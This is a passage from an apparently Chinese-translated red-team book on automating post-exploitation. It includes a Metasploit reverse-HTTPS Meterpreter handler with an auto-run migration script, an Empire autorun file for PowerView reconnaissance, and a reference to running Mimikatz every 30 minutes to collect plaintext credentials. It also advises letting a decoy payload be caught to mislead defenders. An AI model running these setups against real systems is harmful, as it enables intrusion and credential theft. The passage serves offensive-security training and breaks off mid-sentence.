自动化

随着基于启发式(heuristic-based)的端点保护变得越来越完善,我们的攻击需要变得更加迅速。我们通常可以编写恶意软件来躲避杀毒软件和绕过初始检测,但是一旦我们开始在内存中调用 Mimikatz 或者进行横向移动到其他主机,我们就会开始触发报警。为了解决这个问题,我总是告诉红队,我们的初步试探可以故意让蓝队捕获。因为通常情况下,蓝队在发现我们使用的默认/基础恶意软件(或者仅仅进行了轻微的混淆)时就会将此视为胜利,但我们的真正目的是了解他们的环境。这是通过我们的初始 payload 在受害者的机器上自动运行多个侦察脚本来实现的。在下一节中,我们将介绍一些可以使我们的一些攻击自动化的快速自动运行脚本。

使用 RC 脚本自动化运行 Metasploit

对于 Metasploit,我们可以使用以下方法高效地运行我们的后渗透利用脚本:

  • 搜索 Metasploit 中所有的后渗透利用模块:
  • msfconsole
  • show post

从显示的结果中,选择你想要包含的所有模块,以便在接收到一个 Meterpreter Shell 时自动执行。在这个案例中,我们将为我们的攻击添加一个 privilege migrate 后渗透模块。要配置 Meterpreter Shell 以便让它在受攻击主机的初始连接上运行此 payload,我们需要指定一个 AutoRunScript 参数。你可以根据需要添加尽可能多的 AutoRunScripts 参数来转储(dump)有关系统和网络的信息,然后横向移动,甚至更多!

创建处理程序 (Handler) 和 AutoRunScript:

  • 创建处理程序文件
    • gedit handler.rc
  • 配置处理程序和自动运行脚本
    • use multi/handler
    • set payload windows/meterpreter/reverse_https
    • set LHOST 10.100.100.9
    • set LPORT 443
    • set AutoRunScript post/windows/manage/priv_migrate
    • set ExitOnSession false
    • set EnableStageEncoding true
    • exploit -j
  • 启动处理程序
    • msfconsole -r handler.rc

自动化运行 Empire

Empire 具有与 Metasploit 资源文件类似的功能,可以自动完成许多重复性任务。首先,我们需要创建一个文件(在我们的示例中,我们将创建一个名为 /opt/empire_autoload.rc 的文件)然后在我们的 Empire 实例中加载它。

  • 在一个单独的终端窗口中,创建一个处理程序文件:
    1. gedit /opt/empire_autoload.rc
  • 添加所有你想要执行的后渗透模块:
    1. usemodule situational_awareness/network/powerview/get_user
    2. execute
    3. back
    4. usermodule situational_awareness/network/powerview/get_computer
    5. execute
    6. back
  • 在 Empire 中,加载 autoload.rc 资源文件:
    1. agents
    2. autorun /opt/empire_autoload.rc powershell
    3. autorun show

自动化 - 图1

如你所见,当代理连接时,它会自动运行 get_userget_computer 的 PowerShell 脚本。这些脚本的所有运行结果都将存储在 agent.log 文件中。在这种情况下,我们的代理名称是 N6LM348G,因此我们的日志将存储在 /opt/Empire/downloads/N6LM348G/agent.log。

自动化运行 Cobalt Strike

Cobalt Strike 如此强大的一个主要原因是因为它有 Aggressor 脚本。使用 Cobalt Strike 的 Aggressor 脚本,你不仅可以配置自动运行的脚本,还可以创建非常复杂的攻击。例如,我经常遇到进攻共享工作站的场景,例如实验室服务器或会议室盒子。我可能就会希望我们的代理机器最好能每隔半小时运行 Mimikatz 以获取明文凭证。使用 Aggressor 脚本,我们可以执行所有这些操作甚至更多操作。下面是一个示例脚本: mimikatz-every-30m.cna

Aggressor 其他脚本集合:

自动化的未来

最后,有一些很酷的项目正朝着自动化,智能入侵和 APT 攻击的方向发展。我坚信入侵行动的未来是朝着自动化的方向发展的,我们需要自动化地测试和验证我们的安全控制机制。我认为在发展这种自动化趋势方面具有巨大潜力的两个工具是: